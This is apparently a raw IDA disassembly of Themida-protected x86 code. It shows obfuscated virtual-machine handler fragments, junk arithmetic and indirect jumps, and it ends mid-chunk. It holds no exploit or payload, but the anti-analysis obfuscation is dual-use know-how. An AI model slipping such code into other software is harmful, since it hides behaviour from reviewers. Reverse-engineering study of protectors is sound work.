; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57E754


loc_5519C3:				; CODE XREF: Themida_:0057368Dj
					; Themida_:00573697j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6117E05h
		mov	eax, edi
		add	edi, 6117B1Dh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5519E1
		jmp	short loc_5519F4
; ---------------------------------------------------------------------------


loc_5519E1:				; CODE XREF: sub_57E754-2CD77j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5519F0
; ---------------------------------------------------------------------------


loc_5519EB:				; CODE XREF: sub_57E754-2CD62j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5519F0:				; CODE XREF: sub_57E754-2CD6Bj
		or	ecx, ecx
		jnz	short loc_5519EB


loc_5519F4:				; CODE XREF: sub_57E754-2CD75j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_551A01:				; CODE XREF: sub_57E754-2CD4Cj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_551A01
; END OF FUNCTION CHUNK	FOR sub_57E754
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_551A0A:				; CODE XREF: Themida_:00551A23j
					; Themida_:loc_551A75j	...
		lodsb
		xor	al, bl
		push	dx
		push	ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_556A78
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_551A1E:				; CODE XREF: Themida_:00555075j
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_551A28:				; CODE XREF: Themida_:0055370Dj
		mov	ebp, esi
		pop	esi
		push	7790h
		jmp	loc_552785
; ---------------------------------------------------------------------------


loc_551A35:				; CODE XREF: Themida_:00552839j
		mov	ecx, ebp
		pop	ebp
		push	ecx
		pop	edx
		jmp	loc_554747
; ---------------------------------------------------------------------------


loc_551A3F:				; CODE XREF: Themida_:005593DCj
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55DA97
; ---------------------------------------------------------------------------


loc_551A56:				; CODE XREF: Themida_:00553BB7j
		add	esp, 4
		sub	esp, 2
		mov	[esp], bx
		push	ecx
		mov	cl, 6Fh
		or	cl, 0B4h
		not	cl
		shr	cl, 6
		not	cl
		jmp	loc_55C5E4
; ---------------------------------------------------------------------------


loc_551A75:				; CODE XREF: Themida_:0055D407j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_551A7A:				; CODE XREF: Themida_:0055BFA8j
		add	esi, ecx
		pop	ecx
		sub	esi, eax
		jmp	loc_554809
; ---------------------------------------------------------------------------


loc_551A84:				; CODE XREF: Themida_:005579A8j
		add	eax, ebp
		pop	ebp
		add	eax, 0FFFFFFFFh
		add	eax, 39D9C3D3h
		push	edi
		push	eax
		jmp	loc_5567A6
; ---------------------------------------------------------------------------


loc_551A96:				; CODE XREF: Themida_:0055B94Aj
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_555664
; ---------------------------------------------------------------------------


loc_551AAB:				; CODE XREF: Themida_:005548E1j
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_559B92
; ---------------------------------------------------------------------------


loc_551ACF:				; CODE XREF: Themida_:00559B8Dj
		mov	esi, 79507D64h
		jmp	loc_557976
; ---------------------------------------------------------------------------


loc_551AD9:				; CODE XREF: Themida_:0055C52Aj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_551ADE:				; CODE XREF: Themida_:0055A08Ej
		mov	[esp], edx
		jmp	loc_55975C
; ---------------------------------------------------------------------------


loc_551AE6:				; CODE XREF: Themida_:00552A38j
		push	eax
		mov	ax, 40A1h
		not	ax
		jmp	loc_55CB61
; ---------------------------------------------------------------------------


loc_551AF3:				; CODE XREF: Themida_:0055B46Cj
		mov	edx, 2B86DA4h
		inc	edx
		not	edx
		dec	edx
		xor	edx, 9962C3E8h
		jmp	loc_554B04
; ---------------------------------------------------------------------------


loc_551B07:				; CODE XREF: Themida_:005592D8j
		sub	ecx, 4
		jmp	loc_55BC7A
; ---------------------------------------------------------------------------


loc_551B12:				; CODE XREF: Themida_:005520BFj
		mov	ebx, 288273ACh
		xor	ecx, ebx
		pop	ebx
		push	62FCh
		mov	[esp], ebx
		jmp	loc_55C5CB
; ---------------------------------------------------------------------------


loc_551B27:				; CODE XREF: Themida_:0055B731j
		mov	[esp], eax
		jmp	loc_5551FA
; ---------------------------------------------------------------------------


loc_551B2F:				; CODE XREF: Themida_:0055A710j
		not	si
		inc	si
		push	cx
		mov	cx, 23A0h
		sub	si, cx
		pop	cx
		inc	si
		sub	si, 40EFh
		jmp	loc_5547D0
; ---------------------------------------------------------------------------


loc_551B4B:				; CODE XREF: Themida_:0055C604j
		push	eax
		mov	eax, 705572C3h
		sub	ecx, eax
		jmp	loc_55422D
; ---------------------------------------------------------------------------


loc_551B58:				; CODE XREF: Themida_:0055C00Fj
		mov	esp, [esp]
		jmp	loc_55CBEE
; ---------------------------------------------------------------------------


loc_551B60:				; CODE XREF: Themida_:0055A15Fj
		push	ecx
		push	6481h
		mov	[esp], edx
		mov	dl, 7Ah
		push	ax
		push	ecx
		mov	cl, dl
		mov	ah, cl
		mov	ecx, [esp]
		jmp	loc_55D376
; ---------------------------------------------------------------------------


loc_551B7A:				; CODE XREF: Themida_:00557EE9j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 2D275572h
		sub	edi, 2D27556Eh
		jmp	loc_557258
; ---------------------------------------------------------------------------


loc_551B98:				; CODE XREF: Themida_:00555145j
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 33h
		jmp	loc_55DB43
; ---------------------------------------------------------------------------


loc_551BAC:				; CODE XREF: Themida_:00554087j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55927F
; ---------------------------------------------------------------------------


loc_551BBD:				; CODE XREF: Themida_:0055C344j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55A623
; ---------------------------------------------------------------------------


loc_551BC8:				; CODE XREF: Themida_:0055AF5Fj
		add	ch, 0ECh
		and	ch, 0CBh
		xor	ch, 8Eh
		sub	al, ch
		pop	ecx
		sub	al, 68h
		add	al, dl
		push	small 0C04h
		mov	[esp], bx
		jmp	loc_553712
; ---------------------------------------------------------------------------


loc_551BE5:				; CODE XREF: Themida_:00553157j
		add	edx, eax
		add	edx, 88A61C7h
		jmp	loc_554F67
; ---------------------------------------------------------------------------


loc_551BF2:				; CODE XREF: Themida_:0055DE19j
		mov	[esp], eax
		mov	ah, 1Eh
		neg	ah
		shl	ah, 5
		add	ah, 0ACh
		xor	bl, ah
		pop	eax
		push	ecx
		mov	cl, 20h
		shr	cl, 3
		sub	cl, 5Dh
		add	bl, 5Ch
		add	bl, cl
		sub	bl, 5Ch
		pop	ecx
		sub	al, bl
		push	dword ptr [esp]
		jmp	loc_555B6A
; ---------------------------------------------------------------------------


loc_551C1E:				; CODE XREF: Themida_:005582ECj
		sub	eax, 564838BEh
		jmp	loc_55AC22
; ---------------------------------------------------------------------------


loc_551C28:				; CODE XREF: Themida_:00551E8Cj
		mov	[ecx], dl
		pop	ecx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55D5A5
; ---------------------------------------------------------------------------


loc_551C3A:				; CODE XREF: Themida_:00554486j
		add	ebp, 0EDCFFA2h
		mov	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 0BFCBF79Fh
		jmp	loc_557F3D
; ---------------------------------------------------------------------------


loc_551C4E:				; CODE XREF: Themida_:00556199j
		shl	edi, 2
		sub	edi, 1B113557h
		shl	edi, 5
		neg	edi
		sub	edi, 0C92F88A6h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 6E9434C1h
		push	ebx
		jmp	loc_557B33
; ---------------------------------------------------------------------------


loc_551C76:				; CODE XREF: Themida_:005530ECj
		mov	edi, ebx
		pop	ebx
		mov	ecx, 0C4D8399Dh
		jmp	loc_55D138
; ---------------------------------------------------------------------------


loc_551C83:				; CODE XREF: Themida_:00559DB5j
		sub	eax, edi
		pop	edi
		mov	edx, eax
		jmp	loc_553FA4
; ---------------------------------------------------------------------------


loc_551C8D:				; CODE XREF: Themida_:00557ABDj
		add	bl, 31h
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_55962D
; ---------------------------------------------------------------------------


loc_551C9C:				; CODE XREF: Themida_:00556893j
		add	ax, 25D7h
		add	ax, bp
		jmp	loc_5522AC
; ---------------------------------------------------------------------------


loc_551CA8:				; CODE XREF: Themida_:005591F0j
		mov	eax, [esp]
		jmp	loc_55807D
; ---------------------------------------------------------------------------


loc_551CB0:				; CODE XREF: Themida_:00556CD5j
		pop	eax
		mov	edx, esi
		pop	esi
		jmp	loc_555246
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		push	edi
		mov	edi, 6AAB4FA4h
		push	ebp
		mov	ebp, 56EC7691h
		jmp	loc_552D47
; ---------------------------------------------------------------------------


loc_551CD2:				; CODE XREF: Themida_:0055CC09j
		pop	esp
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_551CD8:				; CODE XREF: Themida_:0055BA66j
		pop	eax
		jmp	loc_556697
; ---------------------------------------------------------------------------


loc_551CDE:				; CODE XREF: Themida_:005595A7j
		mov	esp, [esp]
		push	69E0h
		mov	[esp], ebx
		jmp	loc_55AB02
; ---------------------------------------------------------------------------


loc_551CEE:				; CODE XREF: Themida_:0055CC4Ej
		add	ebx, eax
		pop	eax
		jmp	loc_557448
; ---------------------------------------------------------------------------


loc_551CF6:				; CODE XREF: Themida_:00555164j
		shr	edx, 8
		jmp	loc_5588A9
; ---------------------------------------------------------------------------


loc_551CFE:				; CODE XREF: Themida_:00556872j
		mov	bl, 64h
		jmp	loc_554DCC
; ---------------------------------------------------------------------------


loc_551D05:				; CODE XREF: Themida_:0055BB8Ej
		push	ecx
		jmp	loc_552D1C
; ---------------------------------------------------------------------------


loc_551D0B:				; CODE XREF: Themida_:00554DD2j
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_5527B3
; ---------------------------------------------------------------------------


loc_551D14:				; CODE XREF: Themida_:00553CD3j
		mov	dx, [esp]
		jmp	loc_556B3A
; ---------------------------------------------------------------------------


loc_551D1D:				; CODE XREF: Themida_:00558667j
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 2
		jmp	loc_55DFA8
; ---------------------------------------------------------------------------


loc_551D2B:				; CODE XREF: Themida_:0055730Cj
		shr	edx, 7
		add	edx, 697F531Ah
		xor	edx, 1A761A0Ah
		jmp	loc_558BE7
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_55D7EA
; ---------------------------------------------------------------------------


loc_551D45:				; CODE XREF: Themida_:0055D0B1j
		add	eax, 705546Ah
		jmp	loc_55B5F4
; ---------------------------------------------------------------------------


loc_551D4F:				; CODE XREF: Themida_:00555D12j
		pop	esi
		mov	ebx, [esp]
		jmp	loc_557595
; ---------------------------------------------------------------------------


loc_551D58:				; CODE XREF: Themida_:00558E40j
		push	bp
		mov	bp, 0FFFFh
		sub	bx, bp
		jmp	loc_556402
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		push	7D860FB0h
		jmp	loc_5562D7
; ---------------------------------------------------------------------------


loc_551D7D:				; CODE XREF: Themida_:005547A5j
		or	edx, edi
		pop	edi
		add	edx, 1
		jmp	loc_552B6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_551D8B:				; CODE XREF: sub_55656B+5D30j
		mov	dx, word ptr [esp+0Ah+var_C+2]
		add	esp, 2
		push	eax
		mov	ah, 2Bh
		xor	cl, ah
		pop	eax
		add	al, cl
		push	[esp+6+var_8+2]
		pop	ecx
		add	esp, 4
		push	cx
		mov	ch, 7Dh
		jmp	loc_55AD65
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_551DAD:				; CODE XREF: Themida_:00556922j
		dec	edi
		push	ecx
		jmp	loc_553822
; ---------------------------------------------------------------------------


loc_551DB4:				; CODE XREF: Themida_:0055677Dj
		or	edi, 32FA368Fh
		and	edi, 4C684C68h
		shl	edi, 2
		shl	edi, 7
		sub	edi, 0D0884FFCh
		jmp	loc_552000
; ---------------------------------------------------------------------------


loc_551DD1:				; CODE XREF: Themida_:00551EA0j
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5520F4
; ---------------------------------------------------------------------------


loc_551DDC:				; CODE XREF: Themida_:0055226Bj
		mov	edx, 4
		jmp	loc_559366
; ---------------------------------------------------------------------------


loc_551DE6:				; CODE XREF: Themida_:00554C53j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_55B30A
; ---------------------------------------------------------------------------


loc_551DF3:				; CODE XREF: Themida_:005522A7j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		push	2D2h
		jmp	loc_553B4E
; ---------------------------------------------------------------------------


loc_551E0B:				; CODE XREF: Themida_:00553498j
		shr	ebx, 4
		add	ebx, 0FF13CD6Ch
		sub	ebp, 1AA602DFh
		add	ebp, ebx
		add	ebp, 1AA602DFh
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		push	1E23h
		jmp	loc_55423A
; ---------------------------------------------------------------------------


loc_551E38:				; CODE XREF: Themida_:0055DCE5j
		pop	ecx
		jmp	loc_558EB8
; ---------------------------------------------------------------------------


loc_551E3E:				; CODE XREF: Themida_:00552897j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55424B
; ---------------------------------------------------------------------------


loc_551E49:				; CODE XREF: Themida_:0055D037j
		pop	edi
		not	ebp
		sub	ebp, 90C8975Ah
		add	eax, 78836073h
		sub	eax, ebp
		sub	eax, 78836073h
		pop	ebp
		push	edx
		mov	edx, 40C21DFh
		add	edx, 3507222Bh
		xor	edx, 3FF52C86h
		jmp	loc_55B55C
; ---------------------------------------------------------------------------


loc_551E76:				; CODE XREF: Themida_:0055AC51j
		mov	esi, [esp]
		push	ebp
		jmp	loc_5575F2
; ---------------------------------------------------------------------------


loc_551E7F:				; CODE XREF: Themida_:0055C677j
		push	ebx
		jmp	loc_555DC9
; ---------------------------------------------------------------------------


loc_551E85:				; CODE XREF: Themida_:0055892Dj
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_551C28
; ---------------------------------------------------------------------------


loc_551E91:				; CODE XREF: Themida_:0055A787j
		add	ebx, 50B21E0Fh
		pop	esi
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_551DD1
; ---------------------------------------------------------------------------


loc_551EA5:				; CODE XREF: Themida_:0055382Fj
		pop	ecx
		inc	edi
		jmp	loc_5548A4
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		jmp	loc_556547
; ---------------------------------------------------------------------------


loc_551EB4:				; CODE XREF: Themida_:0055D543j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_551EB9:				; CODE XREF: Themida_:0055B91Ej
		sub	ebx, 6174352Bh
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5578C8
; ---------------------------------------------------------------------------


loc_551EC9:				; CODE XREF: Themida_:00556CB3j
		sub	esi, ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_558898
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_55B804
		add	esi, 6E62435Ch
		sub	esi, 24AF67A5h
		push	ecx
		mov	ecx, 34695190h
		add	esi, ecx
		pop	ecx
		add	esi, eax
		sub	esi, 34695190h
		jmp	loc_55A7CC
; ---------------------------------------------------------------------------


loc_551F09:				; CODE XREF: Themida_:00554C3Fj
		mov	[esp], ecx
		push	ebx
		jmp	loc_5591D3
; ---------------------------------------------------------------------------


loc_551F12:				; CODE XREF: Themida_:0055AE33j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	7E21h
		mov	[esp], edx
		mov	edx, 2
		add	ecx, 6D2561C2h
		add	ecx, edx
		push	edi
		mov	edi, 54425EFBh
		and	edi, 4EB44CD5h
		jmp	loc_55365E
; ---------------------------------------------------------------------------


loc_551F41:				; CODE XREF: Themida_:0055B88Bj
		add	ebx, edi
		jmp	loc_55931A
; ---------------------------------------------------------------------------


loc_551F48:				; CODE XREF: Themida_:00558AB1j
		mov	[esp], ebp
		push	edx
		jmp	loc_55CCC2
; ---------------------------------------------------------------------------


loc_551F51:				; CODE XREF: Themida_:005564BCj
		xor	di, dx
		xchg	di, [esp]
		jmp	loc_5558CB
; ---------------------------------------------------------------------------


loc_551F5D:				; CODE XREF: Themida_:00559B29j
		mov	edx, edi
		pop	edi
		add	ebx, edx
		pop	edx
		push	348Fh
		jmp	loc_5543E5
; ---------------------------------------------------------------------------


loc_551F6D:				; CODE XREF: Themida_:0055750Dj
		sub	edx, edi
		pop	edi
		add	edx, edi
		add	edx, 32720416h
		sub	esp, 4
		jmp	loc_55B874
; ---------------------------------------------------------------------------


loc_551F80:				; CODE XREF: Themida_:0055A6E3j
		mov	[esp], bx
		push	ecx
		mov	ch, 0F6h
		mov	bl, ch
		pop	ecx
		push	ebx
		mov	bl, 88h
		sub	al, bl
		mov	ebx, [esp]
		jmp	loc_5559B9
; ---------------------------------------------------------------------------


loc_551F97:				; CODE XREF: Themida_:005542CBj
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_5523FF
; ---------------------------------------------------------------------------


loc_551FAA:				; CODE XREF: Themida_:00553700j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55AAB6
; ---------------------------------------------------------------------------


loc_551FC1:				; CODE XREF: Themida_:0055360Fj
		pop	edi
		mov	edx, 28235534h
		jmp	loc_55507A
; ---------------------------------------------------------------------------


loc_551FCC:				; CODE XREF: Themida_:00555726j
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		sub	edi, 572F2195h
		add	edi, edx
		add	edi, 572F2195h
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		jmp	loc_55690B
; ---------------------------------------------------------------------------


loc_552000:				; CODE XREF: Themida_:00551DCCj
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_5531E5
; ---------------------------------------------------------------------------


loc_55200B:				; CODE XREF: Themida_:005596ACj
		xchg	ebx, [esp]
		jmp	loc_556BEA
; ---------------------------------------------------------------------------


loc_552013:				; CODE XREF: Themida_:0055DEBCj
		add	esp, 4
		push	edx
		mov	edx, 4
		add	eax, 4E6D5F79h
		sub	eax, edx
		jmp	loc_5575DB
; ---------------------------------------------------------------------------


loc_552028:				; CODE XREF: Themida_:00555179j
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		jmp	loc_557C5B
; ---------------------------------------------------------------------------


loc_552032:				; CODE XREF: Themida_:00556DE7j
		mov	[esp], ecx
		mov	ecx, 2
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	eax
		jmp	loc_553299
; ---------------------------------------------------------------------------


loc_552050:				; CODE XREF: Themida_:005547F6j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55C142
; ---------------------------------------------------------------------------


loc_55206B:				; CODE XREF: Themida_:005570A9j
		and	ebx, 54AA55E5h
		or	ebx, 6F044137h
		sub	ebx, 7F0655B3h
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_55D77A
; ---------------------------------------------------------------------------


loc_552091:				; CODE XREF: Themida_:005542AFj
		pop	edi
		push	ebp
		mov	ebp, 0E9779AAAh
		xor	ecx, ebp
		pop	ebp
		add	eax, 77082ED9h
		add	eax, 475B15D3h
		add	eax, ecx
		sub	eax, 475B15D3h
		push	edx
		mov	edx, 548440F4h
		jmp	loc_557A8E
; ---------------------------------------------------------------------------


loc_5520B7:				; CODE XREF: Themida_:0055D309j
		mov	ebx, ecx
		jmp	loc_5561D9
; ---------------------------------------------------------------------------


loc_5520BE:				; CODE XREF: Themida_:0055643Aj
		push	ebx
		jmp	loc_551B12
; ---------------------------------------------------------------------------


loc_5520C4:				; CODE XREF: Themida_:005586D6j
		add	esp, 4
		jmp	loc_55D26B
; ---------------------------------------------------------------------------


loc_5520CC:				; CODE XREF: Themida_:00559108j
		pop	edx
		sub	edi, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55C16A
; ---------------------------------------------------------------------------


loc_5520E0:				; CODE XREF: Themida_:0055A454j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5561F3
; ---------------------------------------------------------------------------


loc_5520F4:				; CODE XREF: Themida_:00551DD7j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554E2E
; ---------------------------------------------------------------------------


loc_552107:				; CODE XREF: Themida_:0055C431j
		mov	esp, [esp]
		mov	cx, [esp]
		push	3E48h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5548AF
; ---------------------------------------------------------------------------


loc_552126:				; CODE XREF: Themida_:00552B63j
		mov	esi, 39689Fh
		not	esi
		not	esi
		push	ebx
		mov	ebx, 1527FD05h
		xor	esi, ebx
		pop	ebx
		sub	edx, esi
		pop	esi
		add	ebp, 2DFC6E33h
		add	ebp, edx
		sub	ebp, 2DFC6E33h
		pop	edx
		push	eax
		jmp	loc_558BAD
; ---------------------------------------------------------------------------


loc_552150:				; CODE XREF: Themida_:00553235j
		push	dx
		jmp	loc_554DFA
; ---------------------------------------------------------------------------


loc_552157:				; CODE XREF: Themida_:00554B24j
		cmp	cl, al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55215F:				; CODE XREF: Themida_:00557564j
		mov	[esp], ecx
		jmp	loc_55C09D
; ---------------------------------------------------------------------------


loc_552167:				; CODE XREF: Themida_:00558DB3j
		and	eax, ebx
		mov	ebx, [esp]
		push	5A67h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	499Dh
		jmp	loc_553BBC
; ---------------------------------------------------------------------------


loc_552186:				; CODE XREF: Themida_:0055BD2Fj
		sub	edx, 39575AAFh
		add	edx, eax
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_55BE57
; ---------------------------------------------------------------------------


loc_55219A:				; CODE XREF: Themida_:00553187j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		push	0EC8323Ah
		jmp	loc_55C9BD
; ---------------------------------------------------------------------------


loc_5521AD:				; CODE XREF: Themida_:0055A5BCj
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		jmp	loc_555C97
; ---------------------------------------------------------------------------


loc_5521C1:				; CODE XREF: Themida_:0055B44Ej
		shl	ebp, 3
		push	ebx
		mov	ebx, 17136A73h
		shr	ebx, 4
		inc	ebx
		or	ebx, 1F1E02EAh
		add	ebx, 0C6D37F0Dh
		jmp	loc_5533C8
; ---------------------------------------------------------------------------


loc_5521DF:				; CODE XREF: Themida_:005531A4j
		xor	bh, cl
		pop	ecx
		mov	cl, 32h
		xor	cl, bh
		pop	ebx
		sub	al, 26h
		sub	al, cl
		add	al, 26h
		pop	cx
		jmp	loc_55A4D9
; ---------------------------------------------------------------------------


loc_5521F4:				; CODE XREF: Themida_:00552A12j
		dec	edi
		jmp	loc_55D1A9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, 31926F1Bh
		and	ebp, 1D4C6294h
		jmp	loc_5553F1
; ---------------------------------------------------------------------------


loc_552218:				; CODE XREF: Themida_:0055B375j
		sub	esi, 39C03853h
		add	esi, edx
		add	esi, 39C03853h
		jmp	loc_552765
; ---------------------------------------------------------------------------


loc_55222B:				; CODE XREF: Themida_:0055D7F6j
		mov	eax, 4
		sub	edx, eax
		jmp	loc_55C085
; ---------------------------------------------------------------------------


loc_552237:				; CODE XREF: Themida_:00554CEAj
		pop	esp
		jmp	loc_554B1E
; ---------------------------------------------------------------------------


loc_55223D:				; CODE XREF: Themida_:0055BC66j
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		dec	ecx
		not	ecx
		dec	ecx
		sub	ecx, 0B0036644h
		sub	eax, 0DF0585Dh
		add	eax, 67E42B3Dh
		sub	eax, ecx
		sub	eax, 67E42B3Dh
		add	eax, 0DF0585Dh
		jmp	loc_55B5DD
; ---------------------------------------------------------------------------


loc_55226A:				; CODE XREF: Themida_:005578B8j
		push	edx
		jmp	loc_551DDC
; ---------------------------------------------------------------------------


loc_552270:				; CODE XREF: Themida_:0055D0F7j
		xor	esi, 11FC231Ah
		xor	esi, 70FC53FCh
		jmp	loc_5565AC
; ---------------------------------------------------------------------------


loc_552281:				; CODE XREF: Themida_:00558C4Cj
		push	ebp
		jmp	loc_55A27D
; ---------------------------------------------------------------------------


loc_552287:				; CODE XREF: Themida_:0055237Ej
		and	ecx, 4494365Fh
		jmp	loc_55C829
; ---------------------------------------------------------------------------


loc_552292:				; CODE XREF: Themida_:0055C450j
		mov	ebx, 4
		mov	ebp, ebx
		jmp	loc_553C10
; ---------------------------------------------------------------------------


loc_55229E:				; CODE XREF: Themida_:0055A4FEj
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_551DF3
; ---------------------------------------------------------------------------


loc_5522AC:				; CODE XREF: Themida_:00551CA3j
		sub	ax, 25D7h
		push	small 4489h
		mov	[esp], di
		mov	di, 1480h
		add	ax, di
		pop	di
		add	ax, 72E5h
		sub	ax, 7E82h
		mov	bp, [esp]
		push	ebp
		jmp	loc_559ADE
; ---------------------------------------------------------------------------


loc_5522D3:				; CODE XREF: Themida_:00553811j
		mov	bl, dh
		mov	al, bl
		pop	ebx
		jmp	loc_553077
; ---------------------------------------------------------------------------


loc_5522DD:				; CODE XREF: Themida_:00555453j
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_554046
; ---------------------------------------------------------------------------


loc_5522EA:				; CODE XREF: Themida_:00559ECBj
		push	esi
		mov	esi, 4
		jmp	loc_55DC73
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5522FD:				; CODE XREF: Themida_:0055AB22j
		sub	edi, 2D9F48DFh
		add	edi, ebx
		add	edi, 2D9F48DFh
		add	edi, 27F31837h
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_559D42
; ---------------------------------------------------------------------------


loc_552326:				; CODE XREF: Themida_:0055693Aj
		mov	edi, 363C3C75h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, 7F985F93h
		push	eax
		mov	eax, 0F3CA327Ch
		sub	ecx, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		sub	edi, 3E2F425Fh
		jmp	loc_558429
; ---------------------------------------------------------------------------


loc_552353:				; CODE XREF: Themida_:00556C09j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5579FC
; ---------------------------------------------------------------------------


loc_55235F:				; CODE XREF: Themida_:0055927Aj
		push	ecx
		jmp	loc_55E053
; ---------------------------------------------------------------------------


loc_552365:				; CODE XREF: Themida_:005555D7j
		inc	eax
		push	0
		jmp	loc_55D6C4
; ---------------------------------------------------------------------------


loc_552370:				; CODE XREF: Themida_:0055A742j
		pop	ebx
		mov	edi, ebp
		jmp	loc_55C036
; ---------------------------------------------------------------------------


loc_552378:				; CODE XREF: Themida_:0055BCECj
		push	ecx
		mov	ecx, 530521AAh
		jmp	loc_552287
; ---------------------------------------------------------------------------


loc_552383:				; CODE XREF: Themida_:0055CB26j
		add	eax, 518E3F60h
		push	70EBh
		mov	[esp], ecx
		push	ebx
		push	38985C21h
		pop	ebx
		add	ebx, 7FE44B2Eh
		jmp	loc_557EEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_5523A2:				; CODE XREF: sub_55656B-1C4j
		pop	ax
		sub	dl, 48h
		sub	bl, dl
		pop	edx
		push	ecx
		mov	cl, 0A6h
		push	eax
		mov	al, 1Ch
		jmp	loc_55866C
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_5523B5:				; CODE XREF: Themida_:0055651Aj
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
